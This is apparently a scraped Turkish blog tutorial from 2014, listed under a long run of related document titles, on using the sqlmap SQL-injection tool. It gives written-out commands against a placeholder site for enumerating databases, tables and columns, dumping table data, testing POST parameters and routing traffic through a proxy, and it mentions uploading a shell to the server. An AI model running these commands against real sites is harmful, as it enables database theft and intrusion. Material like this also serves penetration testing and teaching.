Sqlmap pyhton dili yazılarak geliştirilmiş Sql injection için testerlara son derece yardımcı olan bir araçtır.

Benzer belgeler
Fırat Üniversitesi Personel Bilgi Sistemi Penetrasyon(Sızma) Testi

Armitage Nedir? Kullanım Öncesi

Java JDK (Java Development Kit) Kurulumu:

CYGWIN KURULUMU ve KULLANIMI

Kimsin Sen? /in/ahmet-dervis /adervis3 SauSiber adrvs.wordpress.com

BLGM 354 DENEY 1 * GİRİŞ

U y g u l a m a A i l e s i (Abakus 360, T-Panel, T-CRM) Tarayıcı Ayarları. IPera İletişim Teknolojileri

PHP ile İnternet Programlama

İÇERİK YÖNETİM SİSTEMİ (CMS) Bir web sitesi yayınlamak için yapılması gerekenler:

Elektra Raporlama Sistemi Sunumu

Ağ Üzerinde MATLAB kurulum rehberi (Sunucu makine)

3. Analytic Workspace Manager ile Oracle OLAP Küpü Tasarımı

SGK Otomasyon Tanıtım ve Kullanım Kılavuzu

Turquaz Windows kurulum dökümanı. ftp://ftp.mirror.ac.uk/sites/ftp.postgresql.org/binary/v7.3.1/windows/pgsql731wina1.exe

e-imzatr Kurulum Klavuzu

Sadece 2 İstekle MySQL Blind SQL Injection. Canberk BOLAT canberk.bolat[-at-]gmail[-dot-]com

Vmware Esx Server Nedir Ve Ne İşe Yarar

Kurumsal Kullanıcı Kitapçığı. Daha iyi bir eğitimin hatrına

BM-209 Nesne Yönelimli Programlama. Yrd. Doç. Dr. İbrahim Alper Doğru Gazi Üniversitesi Teknoloji Fakültesi Bilgisayar Mühendisliği Bölümü

Web Application Penetration Test Report

Burada a değişkeninin türü integer olarak verildi. Peki biz bu ifadeyi tırnak içerisinde yazarsak ne olur?

vsphere Client(viClient) ile ESXI Kontrolü

Kabuk Programlama (Bash)

Nagios Network Monitör Uygulaması -2

VIRTUALIZATION SANALLAŞTIRMA

Yerel Ağlarda Port 139 ve Saldırı Yöntemi

BlackBerry Admin Service

Bu bölüm V- Ray License Server lisans sunucusu uygulamasının kurulumundan

KARADENİZ TEKNİK ÜNİVERSİTESİ YENİ WEB SİTESİ BİRİM YETKİLİSİ WYS (WEB YÖNETİM SİSTEMİ) KULLANIM KLAVUZU

Perga Sipariş Yönetim Uygulaması

Maltego Nedir? Maltego Nedir? - 1

Anti-Virüs Atlatma 3. Kurulum

MARTILAR A FORUM KULLANMA DERSLERİ

TÜRKİYE CUMHURİYETİ ORMAN GENEL MÜDÜRLÜĞÜ DASDIFFUSION DEPARTMENTAL EDITION 1. FAZ İSTEMCİ PC KURULUM KILAVUZU

e-imzatr Kurulum Klavuzu

Smoothwall URL Filter Kurulumu

Bu makalede 2003 sunucu, Windows 2003 Server anlamına gelmektedir. Aşağıda yapılan işlemler 2003 R2 sunucu üzerinde denenmiş ve çalıştırılmıştır.

E-Mükellef Kontrol Programı Kullanım Kılavuzu

Sanal Makine Kurulumu (VirtualBox)

MOBILEPAX ENTERPRISE API (WEB SERVİS)

(PWS) gelmektedir. Ancak. Add/Remove Programs bölümünden yüklenen bir bileşen değildir. Windows 98 kurulum CD'sinden yükleyebilirsiniz.

TÜRKİYE KAMU HASTANELERİ KURUMU WEB SİTESİ YÖNETİM REHBERİ

Örnek Excel Formatını Nereden Bulabilirim?

BİL BİLGİSAYAR PROGRAMLAMA (JAVA)

YAZILIM GÜVENLİK TESTLERİ. H A L D U N T E R A M A N h a l d u n t e r a m a g m a i l. c o m

Java 2 Standart Edition SDK Kurulum ve Java ya Giriş

Programa giriş MSSQL versiyonuna göre iki ayrı şekilde yapılmaktadır.

ADO.NET VERİTABANINA BAĞLANTI. Bir web formu üzerinden veritabanına bağlantımızı anlatacağım. UYGULAMA 1

Veritabanı. Ders 2 VERİTABANI

Tableau Yenilikler

Burs Başvurusuna Başlanmadan Önce Okunması Gereken En Önemli Uyarı!!Okumadığınız taktirde burada anlatılan sebeplerden dolayı burs

Arama motoru: kuş gribinin etkileri

BİLGİSAYAR VE AĞ GÜVENLİĞİ ÖĞR. GÖR. MUSTAFA ÇETİNKAYA DERS 2 > AĞ VE UYGULAMA GÜVENLİĞİ

Ufuk Üniversitesi Kütüphanesi Kütüphane Kaynaklarına Erişim Bilgileri

Anti-Virüs Atlatma 2. Kurulum

SOLIDWORKS Ürün Denemeleri

Exepto Bilgi Teknolojileri A.Ş. Sözleşme Yönetim Yazılımı

E-Defter Oluşturma Aşamasında Sık Karşılaşılan Uyarı Mesajları Ve Çözümleri

ETA:MOBİL KURULUM TALİMATI

1/9. Türkiye E- Ticaret Araştırması Ocak Ocak 2010, Webrazzi Gündem: E- Ticaret 2010 Crenvo Bilişim Danışmanlık Reklam ve Tic. Ltd. Şti.

W3af ile Web Uygulama Güvenlik Testleri

ÜRETİM SÜREÇLERİNİ GÖZLEMLEMEK VE KONTROL ETMEK İÇİN KABLOSUZ ÇÖZÜM

- İlk dikkat edilecek konu; 3B BIM modelinin her katının ayrı bir çizim dosyasında ve DWG nin de ayrı bir çizim dosyasında olmalıdır.

VERİ ANALİZ KÜPLERİ. Küp Tasarım Formu (504200)

Kurulum; Ana Bilgisayar ve Tahtalara ayrı ayrı yapılmaktadır. KURULUM ŞEMASI x.x x.x x.x x.

Denetim Masası/Programlar/Windows özelliklerini Aç/Kapat

İNTERNET PROGRAMCILIĞI DERSİ

NETWORK MANAGMENT SYSTEM (NMS) KULLANMA KLAVUZU

Project Vesta Documentation

EFe Event Management System

MaestroPanel Kurulum

Windows 10 için Java JDK 8 ve NetBeans IDE 8.2 Kurulumu Detaylı Anlatım

RPMNET WOLVOX REPORTER

SQL'e Giriş. SELECT Deyimi. SQL Komutları. 1. DDL (Data Definition Language - Veri Tanımlama Dili)

Network üzerinde MATLAB kurulması

Kullanım Kılavuzu Aralık 2017

Zoru Kolay Yapmak İçin...

Bilindik engelleme yöntemlerinin dışında olan, kurumsal web filitreleri nasıl aşılır?

LIKE Where operatörlerinden biridir. Bir sütunda belirlenen peterne uygun arama yapar. SELECT sutun FROM tablo WHERE sutun LIKE patern;

Örnek bir kullanım ve bilgisayar ağlarını oluşturan bileşenlerin özeti

TAPU VE KADASTRO GENEL MÜDÜRLÜĞÜ ELEKTRONİK BELGE YÖNETİM SİSTEMİ EBYS TÜBİTAK AKİS ELEKTRONİK İMZA KURULUM DOKÜMANI

Kullanıcı Giriş Ekranı

E-FATURA LOGO ENTEGRATÖRLÜK UYGULAMASI

1.1. Yazılım Geliştirme Süreci

Teknoloji Özeti vspace Kurulum Değişiklikleri Windows Yükleyicisi.MSI

Kullanım Kılavuzu Aralık 2017

ORTA DOĞU TEKNİK ÜNİVERSİTESİ BİLGİ İŞLEM DAİRE BAŞKANLIĞI. Güvenlik ve Virüsler. ODTÜ BİDB İbrahim Çalışır, Ozan Tuğluk, Cengiz Acartürk

Ürün Profil ve Yapılandırma Kodu Tanımlama

VİO kuruluş İŞLEMLERİ

LOGO için Online Mutabakat Kullanım Kılavuzu

UFUK ÜNİVERSİTESİ MERKEZ KÜTÜPHANESİ MENDELEY KULLANIM KILAVUZU

27 Kasım Ekran 1: ETA:SQL Yazılım Güncelleme Uygulaması

ACTFAX SERVER (ELEKTRONİK FAKS SİSTEMİ) TEKNİK ŞARTNAMESİ

Trickbot Zararlı Yazılımı İnceleme Raporu

BEUN VPN Hizmeti. VPN Nedir?

PHP 1. Hafta 2.Sunum

e-imzatr Kurulum Klavuzu

Kurumsal Güvenlik ve Web Filtreleme

Raptadmin 1.x.x Sürümleri için Kullanım Klavuzu

15xx versiyonu / Tarihli Arşivin İçeriği

Transkript:

SqlMap Kullanımı Sqlmap pyhton dili yazılarak geliştirilmiş Sql injection için testerlara son derece yardımcı olan bir araçtır. Temel olarak yaptığı işlem sizin belirtmiş olduğunuz parametrelere göre hedef web sitesinde kendi içerisinde mevcut olan kombinasyonları deneyerek ilgili sitede açık arar. Peki avantajları nelerdir? Siz sadece birkaç parametre vererek çalıştırdıktan sonra kendisi onlarca açık deneyerek sizin yerinize, sizden daha hızlı biçimde hedefte tarama yapıp, bulduğu sonuçları saklar. Güzel yanı ise sizin verdiğiniz komutlara göre sunucudaki, mevcut kullanıcının yetkisine bağlı olarak diğer database isimlerini vs.. bulup, dilerseniz sunucuya shell yükleyebilirsiniz. Bu kadar önbilgi verdikten sonra nasıl kullanıldığına gelelim. Windows makinalarda SqlMap'i çalıştırmak için öncelikle bilgisayarınıza Python'u kurmanız gerekmekte, Python'u kurduktan sonra buradan SqlMap'in dosyalarını indirip ilgili klasöre cmd'den ulaşarak python sqlmap.py diyerek komutları çalıştırabilirsiniz. Kali, Backtrack gibi yazılımlarda genelde otomatik yüklenmiş bir şekilde geldiği için yapmanız gereken tek işlem terminalde sqlmap diyerek parametreleri vermek. Peki nedir bu parametreler? Buradaki sayfadan SqlMap'in parametrelerini detaylı bir şekilde bulabilirsiniz. Örnek birkaç nokta belirtip, birkaç detay vermek gerekirse; Örneğin bir web sitesinde sql injection olduğundan şüpheleniyorsunuz ama ne tür bir zaaf olduğunu bilmiyorsunuz ve standart bir tarama yapmak istiyorsunuz yapmanız gereken tek işlem terminale; sqlmap -u "http://www.ornek.com/index.php?id=2" --dbms

Not: Windows kullanımı için sqlmap'i yüklediğiniz klasöre gelip yukarıdaki komutun başına python eklemeniz, sqlmap'in sonuna da.py eklemeniz gerekmektedir. Yazmak. Bu kodu yazdıktan sonra sistem otomatik olarak ilgili site üzerinde tüm taramaları yapıp, karşınıza aşağıdaki gibi sonuçları çıkartacaktır.

Peki database isimlerini bulduk, bu bizim ne işimize yarayacak? Sıra databasedeki, tablo adlarını bulmakta. Bunu ise; sqlmap -u "http://www.ornek.com/index.php?id=2" --tables -D database_adi

şeklinde yapıyoruz. tabloları aldık peki kolonları nasıl alıcaz? sqlmap -u "http://www.ornek.com/index.php?id=2" --columns -D database_adi -T tablo_adi Kolonlara gerek yok, ben tabloyu direk indirmek istiyorum diyorsanız; sqlmap -u "http://www.ornek.com/index.php?id=2" --dump -D database_adi -T tablo_adi Hayır ya ne işim var tüm kolonlarla ben sadece belirli birkaç kolonu download etmek istiyorum derseniz; sqlmap -u "http://www.ornek.com/index.php?id=2" --dump -C kolon1,kolon2 -D database_adi -T tablo_adi Demeniz yeterli.

Tamam da SQL sadece GET parametresi ile mi olmak zorunda? POST parametreli bir sql arıyorsak ne yapmalıyız diyorsanız; sqlmap -u "http://www.ornek.com/index.php?id=2" --data="post verisi" --dbms sqlmap -u "http://www.ornek.com/index.php?id=2" --data="adi=merdincz&domain=merdincz.com" -dbms Peki tüm parametreleri taraması yerine, sadece benim belirttiğim parametrede sql denemesini nasıl sağlatabiliriz? sqlmap -u "http://www.ornek.com/index.php?id=2&parametre=2" -p "parametre" -dbms veya sqlmap -u "http://www.ornek.com/index.php?id=2&parametre=2*" -dbms Tamam peki hepsi iyi güzel de, ip işi için ne yapıcaz? Proxy desteği var mıdır derseniz; sqlmap -u "http://www.ornek.com/index.php?id=2" -dbms --proxy="ip:port" --proxy-cred="kuladi:sifre" Yaptığı tüm işlemleri sql sorgularını, cevaplarını nasıl görebilirim diyorsanız; sqlmap -u "http://www.ornek.com/index.php?id=2" -dbms -t /usr/share/log.txt Bu kadar parametre yazdım ama hala daha yazmadığım belki onlarca parametre ve kombinasyon var Google arama sonucuna göre otomatik tara vs.. gibi. Benim sık kullandıklarım ve ilk aklıma gelen yukarıdakiler siz de aklınıza takılan veya eklemek istedikleriniz olursa yorumlardan yardımcı olabilirsiniz. Mustafa Erdinç ZORBA 27 Oca. 2014 info@merdincz.com www.merdincz.com